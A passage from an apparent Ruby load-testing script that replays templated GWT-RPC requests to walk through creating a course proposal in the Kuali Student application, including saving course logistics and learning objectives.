\"5|0|16|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|org.queryParam.orgOptionalLongName|#{admin_org[0..itr]}|org.queryParam.orgOptionalType|java.lang.String/2004016611|kuali.org.Department|kuali.org.College|org.search.generic||1|2|3|4|1|5|5|0|6|0|7|2|8|9|0|10|8|11|7|2|12|13|12|14|0|15|16|0|0|\"\n } \n )\n end \n end\n\n @request.add_thinktime(15)\n\n # Save & Continue\n contents1 = \"5|0|101|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|D60D3C6E0D395C18A0F44A2D9D2A7348|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|AL|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|courseTitle|#{opts[:course_title]}|creditOptions|crossListings|descr|plain|#{opts[:course_description]}|expenditure|affiliatedOrgs|fees|formats|gradingOptions|id|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|_runtimeData|id-translation|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|metaInfo|createId|#{opts[:propose_person]}|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.util.Date/1659716317|updateId|updateTime|versionInd|#{version_indicator+=1}|pilotCourse|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|revenues|specialTopicsCourse|state|draft|subjectArea|#{opts[:subject_area]}|termsOffered|transcriptTitle|#{opts[:course_short_title]}|type|kuali.lu.type.CreditCourse|unitsContentOwner|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|%%_#{opts[:admin_dep_var_name]}%%|#{admin_org}|variations|versionInfo|currentVersionStart|sequenceNumber|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|versionIndId|%%_#{opts[:version_ind_id_name]}%%|dirty|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|2|name|#{opts[:course_title]}|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|32|8|9|10|5|6|7|0|1|11|12|0|13|14|-1|8|9|8|15|13|16|8|17|13|18|8|19|10|5|6|7|0|0|-1|-15|8|20|13|21|8|22|10|5|6|7|0|0|-1|-21|8|23|10|5|6|7|0|0|-1|-25|8|24|10|5|6|7|0|1|8|25|13|26|-1|-29|8|27|10|5|6|7|0|1|8|28|10|5|6|7|0|0|-37|-39|-1|-35|8|29|10|5|6|7|0|0|-1|-43|8|30|10|5|6|7|0|0|-1|-47|8|31|10|5|6|7|0|0|-1|-51|8|32|13|33|8|34|10|5|6|7|0|1|11|-8|10|5|6|7|0|2|8|35|13|36|8|37|10|5|6|7|0|1|8|35|10|5|6|7|0|1|8|38|13|39|-69|-71|-63|-67|-59|-61|-1|-57|8|40|10|5|6|7|0|0|-1|-77|8|41|13|42|8|43|10|5|6|7|0|5|8|44|13|45|8|46|47|48|3467218721|1309965025280|8|49|13|45|8|50|47|48|3467218721|1309965025280|8|51|13|52|-1|-83|8|53|54|55|0|8|56|10|5|6|7|0|0|-1|-102|8|57|54|-101|8|58|13|59|8|60|13|61|8|62|10|5|6|7|0|0|-1|-112|8|63|13|64|8|65|13|66|8|67|10|5|6|7|0|2|11|-8|13|68|8|37|10|5|6|7|0|1|11|-8|10|5|6|7|0|1|8|38|13|69|-128|-130|-122|-126|-1|8|67|8|70|10|5|6|7|0|2|11|-8|13|71|8|37|10|5|6|7|0|1|11|-8|10|5|6|7|0|1|8|38|13|72|-145|-147|-139|-143|-1|8|70|8|73|10|5|6|7|0|0|-1|-154|8|74|10|5|6|7|0|3|8|75|47|48|3467218721|1309965025280|8|76|77|78|1|0|8|79|13|80|-1|-158|8|37|10|5|6|7|0|2|8|60|10|5|6|7|0|1|8|38|13|61|-172|-174|8|81|10|5|6|7|0|3|8|9|54|55|1|8|67|54|-186|8|70|54|-186|-172|-180|-1|-170|8|82|10|5|6|7|0|12|8|83|13|84|8|32|13|85|8|43|10|5|6|7|0|5|8|44|13|45|8|46|47|48|3467218994|1309965025280|8|49|13|45|8|50|47|48|3467219879|1309965025280|8|51|13|86|-193|-199|8|87|13|88|8|89|10|5|6|7|0|1|11|-8|13|33|-193|-217|8|90|13|91|8|92|10|5|6|7|0|0|-193|-225|8|93|10|5|6|7|0|0|-193|-229|8|94|13|95|8|58|13|96|8|65|13|97|8|98|13|99|-1|-191|8|100|10|5|6|7|0|1|8|101|10|5|6|7|0|0|-243|-245|-1|-241|0|0|\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lu.queryParam.luOptionalLuTypeStartsWith|kuali.lu.type.activity.|lu.search.all.lu.Types|lu.resultColumn.luTypeName|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.atptype.duration|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n \n \n #\n # Course Logistics \n # Term: Any\n # Duration Type: Semester\n # Duration Count: 2\n # Assessment Scale: Letter\n # Standard Final Exam\n # Outcome: 10 credits\n # Course Format\n # => Activity Type: Lab, Contact Hours: 5, Frequency: weekly\n # => Duration Type: Weekly\n # => Duration: 13\n # => Anticipated class size: 100\n\n @request.add_thinktime(30)\n\n # Save & Continue\n contents1 = \"5|0|126|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|D60D3C6E0D395C18A0F44A2D9D2A7348|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|courseTitle|#{opts[:course_title]}|creditOptions|dirty|type|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|fixedCreditValue|created|kuali.resultComponentType.credit.degree.fixed|10|crossListings|descr|plain|#{opts[:course_description]}|expenditure|affiliatedOrgs|fees|formats|activities|activityType|defaultEnrollmentEstimate|kuali.lu.type.activity.Lab|contactHours|unitQuantity|5|unitType|kuali.atp.duration.week|duration|atpDurationTypeKey|timeQuantity|kuali.atp.duration.Week|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|gradingOptions|kuali.resultComponent.grade.letter|id|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|metaInfo|createId|#{opts[:propose_person]}|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|#{version_indicator+=1}|pilotCourse|revenues|specialTopicsCourse|state|draft|subjectArea|#{opts[:subject_area]}|termsOffered|kuali.atp.season.Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|unitsContentOwner|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|%%_#{opts[:admin_dep_var_name]}%%|#{admin_org}|variations|versionInfo|currentVersionStart|sequenceNumber|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|versionIndId|%%_#{opts[:version_ind_id_name]}%%|finalExamStatus|audit|passFail|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|3|name|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators|kuali.atp.duration.Semester|STD\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|36|8|9|10|5|6|7|0|2|11|12|0|13|14|8|15|10|5|6|7|0|1|11|-8|10|5|6|7|0|1|8|16|13|17|-12|-14|-5|-10|-1|-3|8|18|13|19|8|20|13|21|8|22|10|5|6|7|0|0|-1|-24|8|23|13|24|8|25|10|5|6|7|0|1|11|-8|10|5|6|7|0|3|8|15|10|5|6|7|0|3|8|26|10|5|6|7|0|2|8|27|28|29|1|8|30|28|-48|-40|-42|8|31|28|-48|-38|10|5|6|7|0|1|-42|10|5|6|7|0|1|-51|28|-48|-54|-42|-40|-38|-36|-38|-46|13|32|-49|13|33|-32|-34|-1|-30|8|34|10|5|6|7|0|0|-1|-62|8|35|10|5|6|7|0|1|8|36|13|37|-1|-66|8|38|10|5|6|7|0|1|8|39|10|5|6|7|0|0|-74|-76|-1|-72|8|40|10|5|6|7|0|0|-1|-80|8|41|10|5|6|7|0|1|11|-8|10|5|6|7|0|2|8|42|10|5|6|7|0|1|11|-8|10|5|6|7|0|5|-38|10|5|6|7|0|3|-42|10|5|6|7|0|2|8|43|28|-48|8|44|28|-48|-101|-42|8|31|28|-48|-38|10|5|6|7|0|1|-42|10|5|6|7|0|1|-110|28|-48|-113|-42|-101|-38|-98|-38|-106|13|45|8|46|10|5|6|7|0|3|8|47|13|48|-38|10|5|6|7|0|1|-42|10|5|6|7|0|2|-124|28|-48|8|49|28|-48|-127|-42|-122|-38|-133|13|50|-98|-120|8|51|10|5|6|7|0|3|-38|10|5|6|7|0|1|-42|10|5|6|7|0|2|8|52|28|-48|8|53|28|-48|-141|-42|-138|-38|-146|13|54|-148|55|12|13|-98|-136|-108|55|12|100|-94|-96|-90|-92|8|15|10|5|6|7|0|2|8|31|28|-48|-38|10|5|6|7|0|1|-42|10|5|6|7|0|1|-159|28|-48|-162|-42|-157|-38|-90|-155|-86|-88|-1|-84|8|56|10|5|6|7|0|1|11|-8|13|57|-1|8|56|8|58|13|59|8|60|10|5|6|7|0|1|11|-8|10|5|6|7|0|2|8|61|13|62|8|15|10|5|6|7|0|1|8|61|10|5|6|7|0|1|8|16|13|63|-189|-191|-183|-187|-179|-181|-1|-177|8|64|10|5|6|7|0|0|-1|-197|8|65|13|66|8|67|10|5|6|7|0|5|8|68|13|69|8|70|71|72|3469526397|1309965025280|677000000|8|73|13|69|8|74|71|72|3469529329|1309965025280|609000000|8|75|13|76|-1|-203|8|77|28|29|0|8|78|10|5|6|7|0|0|-1|-222|8|79|28|-221|8|80|13|81|8|82|13|83|8|84|10|5|6|7|0|1|11|-8|13|85|-1|8|84|8|86|13|87|8|27|13|88|8|89|10|5|6|7|0|2|11|-8|13|90|8|15|10|5|6|7|0|1|11|-8|10|5|6|7|0|1|8|16|13|91|-251|-253|-245|-249|-1|-243|8|92|10|5|6|7|0|2|11|-8|13|93|8|15|10|5|6|7|0|1|11|-8|10|5|6|7|0|1|8|16|13|94|-267|-269|-261|-265|-1|-259|8|95|10|5|6|7|0|0|-1|-275|8|96|10|5|6|7|0|3|8|97|71|72|3469526397|1309965025280|677000000|8|98|99|100|1|0|8|101|13|102|-1|-279|8|15|10|5|6|7|0|2|8|82|10|5|6|7|0|1|8|16|13|83|-293|-295|-42|10|5|6|7|0|5|8|84|28|-48|8|56|28|-48|8|103|28|-48|8|104|28|-48|8|105|28|-48|-293|-42|-1|-291|8|106|10|5|6|7|0|12|8|107|13|108|8|58|13|109|8|67|10|5|6|7|0|5|8|68|13|69|8|70|71|72|3469526678|1309965025280|958000000|8|73|13|69|8|74|71|72|3469530172|1309965025280|452000000|8|75|13|110|-316|-322|8|111|13|24|8|112|10|5|6|7|0|1|11|-8|13|59|-316|-340|8|113|13|114|8|115|10|5|6|7|0|0|-316|-348|8|116|10|5|6|7|0|0|-316|-352|8|117|13|118|8|80|13|119|8|27|13|120|8|121|13|122|-1|-314|8|123|10|5|6|7|0|1|8|124|10|5|6|7|0|0|-366|-368|-1|-364|8|51|10|5|6|7|0|3|-38|10|5|6|7|0|1|-42|10|5|6|7|0|2|8|52|28|-48|8|53|28|-48|-377|-42|-374|-38|-382|13|125|-384|55|12|2|-1|-372|-308|13|126|-310|28|-221|-312|28|-221|0|0|\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}\"\n },\n {\n 'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:enroll_est_var_name], \"regexp\" => opts[:enroll_est_var_regexp]},\n {\"name\" => opts[:lab_var_name], \"regexp\" => opts[:lab_var_regexp]},\n {\"name\" => opts[:atp_duration_week_var_name], \"regexp\" => opts[:atp_duration_week_var_regexp]}\n ]\n }\n )\n\n #@request.add(\"DEBUG/enroll_est_var_name/%%_#{opts[:enroll_est_var_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/lab_var_name/%%_#{opts[:lab_var_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/atp_duration_week_var_name/%%_#{opts[:atp_duration_week_var_name]}%%\", {}, {'subst' => 'true'})\n\n @request.add_thinktime(2)\n \n \n \n #\n # Learning Objectives\n #\n\n @request.add_thinktime(5)\n\n # Category\n for i in 1..opts[:lo_category].length\n if(i == opts[:lo_category].length)\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lo.queryParam.loOptionalCategoryName|#{opts[:lo_category][0..itr]}|lo.search.loCategories|1|2|3|4|1|5|5|0|6|0|7|1|8|9|0|10|11|0|0|0|\"\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:lo_category_id_var_name], \"regexp\" => opts[:lo_category_id_var_regexp]}\n ]\n }\n )\n\n #@request.add(\"DEBUG/lo_category_id_var_name/%%_#{opts[:lo_category_id_var_name]}%%\", {}, {'subst' => 'true'})\n\n else\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lo.queryParam.loOptionalCategoryName|#{opts[:lo_category][0..itr]}|lo.search.loCategories|1|2|3|4|1|5|5|0|6|0|7|1|8|9|0|10|11|0|0|0|\"\n } \n )\n end \n end\n\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/LoCategoryRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|EDE1DECBD54F5894284944CD8AC3661C|org.kuali.student.lum.common.client.lo.rpc.LoCategoryRpcService|getData|java.lang.String/2004016611|%%_#{opts[:lo_category_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/LoCategoryRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|EDE1DECBD54F5894284944CD8AC3661C|org.kuali.student.lum.common.client.lo.rpc.LoCategoryRpcService|getLoCategoryType|java.lang.String/2004016611|loCategoryType.subject|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add_thinktime(25)\n\n # Save & Continue\n contents1 = \"5|0|154|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|D60D3C6E0D395C18A0F44A2D9D2A7348|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loInfo|id|desc|formatted|#{opts[:lo_cat_text]}|plain|name|SINGLE USE LO|sequence|0|metaInfo|loCategoryInfoList|%%_#{opts[:lo_category_id_var_name]}%%|#{opts[:lo_category]}|loRepository|kuali.loRepository.key.singleUse|effectiveDate|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|expirationDate|state|active|type|loCategoryType.subject|createId|admin|createTime|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|#{opts[:propose_person]}|resultValues|draft|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|expenditure|affiliatedOrgs|fees|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|5|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|2|pilotCourse|revenues|specialTopicsCourse|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|%%_#{opts[:admin_dep_var_name]}%%|#{admin_org}|variations|versionInfo|currentVersionStart|sequenceNumber|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Standard final Exam|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|4|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|36|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|29|17|5|6|7|0|5|8|30|14|0|8|31|17|5|6|7|0|2|8|32|14|33|8|34|14|33|-41|-45|8|35|14|36|8|37|14|38|8|39|17|0|-37|-39|8|40|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|30|14|41|8|35|14|42|8|31|17|5|6|7|0|2|8|32|14|0|8|34|14|0|-65|-71|8|43|14|44|8|45|46|0|8|47|46|0|8|48|14|49|8|50|14|51|8|39|17|5|6|7|0|5|8|52|14|53|8|54|46|55|3759152200|1288490188800|0|8|56|14|53|8|57|46|55|3759152200|1288490188800|0|8|58|14|38|-65|-89|-61|-63|-37|-59|-33|-35|-1|8|28|8|59|14|60|8|61|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|62|14|63|8|30|14|64|8|39|17|5|6|7|0|5|8|52|14|65|8|54|46|55|3479039543|1309965025280|823000000|8|56|14|65|8|57|46|55|3479039543|1309965025280|823000000|8|58|14|38|-114|-120|8|66|17|5|6|7|0|1|18|-15|14|63|-114|-136|8|48|14|67|8|50|14|68|8|21|17|5|6|7|0|1|8|50|17|5|6|7|0|1|8|22|14|69|-148|-150|-114|-146|-110|-112|-1|-108|8|70|17|5|6|7|0|0|-1|-156|8|71|17|5|6|7|0|1|8|34|14|72|-1|-160|8|73|17|5|6|7|0|3|8|74|14|75|8|76|77|19|2|8|21|17|5|6|7|0|1|8|74|17|5|6|7|0|1|8|22|14|78|-177|-179|-168|-175|-1|-166|8|79|17|5|6|7|0|1|8|80|17|5|6|7|0|0|-187|-189|-1|-185|8|81|17|5|6|7|0|0|-1|-193|8|82|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|83|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|84|14|85|8|86|17|5|6|7|0|3|8|87|14|88|8|89|14|90|8|21|17|5|6|7|0|1|8|89|17|5|6|7|0|1|8|22|14|91|-225|-227|-217|-223|-211|-215|8|92|77|19|100|8|73|17|5|6|7|0|3|8|74|14|93|8|76|77|19|13|8|21|17|5|6|7|0|1|8|74|17|5|6|7|0|1|8|22|14|94|-247|-249|-238|-245|-211|-236|8|30|14|95|8|39|17|5|6|7|0|5|8|52|14|65|8|54|46|55|3479549402|1309965025280|682000000|8|56|14|65|8|57|46|55|3479549402|1309965025280|682000000|8|58|14|38|-211|-257|8|48|14|67|8|96|17|5|6|7|0|0|-211|-275|8|21|17|5|6|7|0|1|8|84|17|5|6|7|0|1|8|22|14|97|-281|-283|-211|-279|-207|-209|-203|-205|8|30|14|98|8|39|17|5|6|7|0|5|8|52|14|65|8|54|46|55|3479549392|1309965025280|672000000|8|56|14|65|8|57|46|55|3479549392|1309965025280|672000000|8|58|14|38|-203|-291|8|48|14|67|8|99|17|5|6|7|0|0|-203|-309|8|50|14|100|-199|-201|-1|-197|8|101|17|5|6|7|0|2|18|-15|14|102|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|103|-323|-325|-317|-321|-1|-315|8|30|14|104|8|105|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|106|14|107|8|21|17|5|6|7|0|1|8|106|17|5|6|7|0|1|8|22|14|108|-345|-347|-339|-343|-335|-337|-1|-333|8|109|17|5|6|7|0|0|-1|-353|8|110|14|111|8|39|17|5|6|7|0|5|8|52|14|65|8|54|46|55|3479545033|1309965025280|313000000|8|56|14|65|8|57|46|55|3479549354|1309965025280|634000000|8|58|14|112|-1|-359|8|113|10|-5|8|114|17|5|6|7|0|0|-1|-377|8|115|10|-5|8|48|14|67|8|116|14|117|8|99|17|5|6|7|0|2|18|-15|14|118|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|119|-395|-397|-389|-393|-1|-387|8|120|14|121|8|50|14|122|8|96|17|5|6|7|0|2|18|-15|14|123|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|124|-415|-417|-409|-413|-1|-407|8|125|17|5|6|7|0|2|18|-15|14|126|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|127|-431|-433|-425|-429|-1|-423|8|128|17|5|6|7|0|0|-1|-439|8|129|17|5|6|7|0|3|8|130|46|55|3479545033|1309965025280|313000000|8|131|132|133|1|0|8|134|14|135|-1|-443|8|21|17|5|6|7|0|2|8|116|17|5|6|7|0|1|8|22|14|117|-457|-459|8|13|17|5|6|7|0|1|8|22|14|136|-457|-465|-1|-455|8|137|17|5|6|7|0|12|8|138|14|139|8|30|14|140|8|39|17|5|6|7|0|5|8|52|14|65|8|54|46|55|3479545302|1309965025280|582000000|8|56|14|65|8|57|46|55|3479550248|1309965025280|528000000|8|58|14|141|-473|-479|8|35|14|60|8|142|17|5|6|7|0|1|18|-15|14|104|-473|-497|8|143|14|144|8|145|17|5|6|7|0|0|-473|-505|8|146|17|5|6|7|0|0|-473|-509|8|147|14|148|8|48|14|149|8|50|14|150|8|151|14|152|-1|-471|8|153|17|5|6|7|0|1|8|154|17|5|6|7|0|0|-523|-525|-1|-521|0|0|\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}\"\n },\n {\n 'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:lo_category_var_name], \"regexp\" => opts[:lo_category_var_regexp]}\n ]\n }\n )\n\n #@request.add(\"DEBUG/lo_category_var_name/%%_#{opts[:lo_category_var_name]}%%\", {}, {'subst' => 'true'})\n\n @request.add_thinktime(2)\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/LoCategoryRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|EDE1DECBD54F5894284944CD8AC3661C|org.kuali.student.lum.common.client.lo.rpc.LoCategoryRpcService|getLoCategoryTypes|1|2|3|4|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|2543249A07E7952228E0E500F14F1B17|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|1ED48DA6F48F82765FE7B58378EA94E0|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getCourseStatements|java.lang.String/2004016611|%%_#{opts[:clu_ref_dyn_var_name]}%%|KUALI.RULE|en|1|2|3|4|3|5|5|5|6|7|8|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n \n #\n # Course Requisites\n # Save without editing anything\n\n @request.add_thinktime(5)\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => 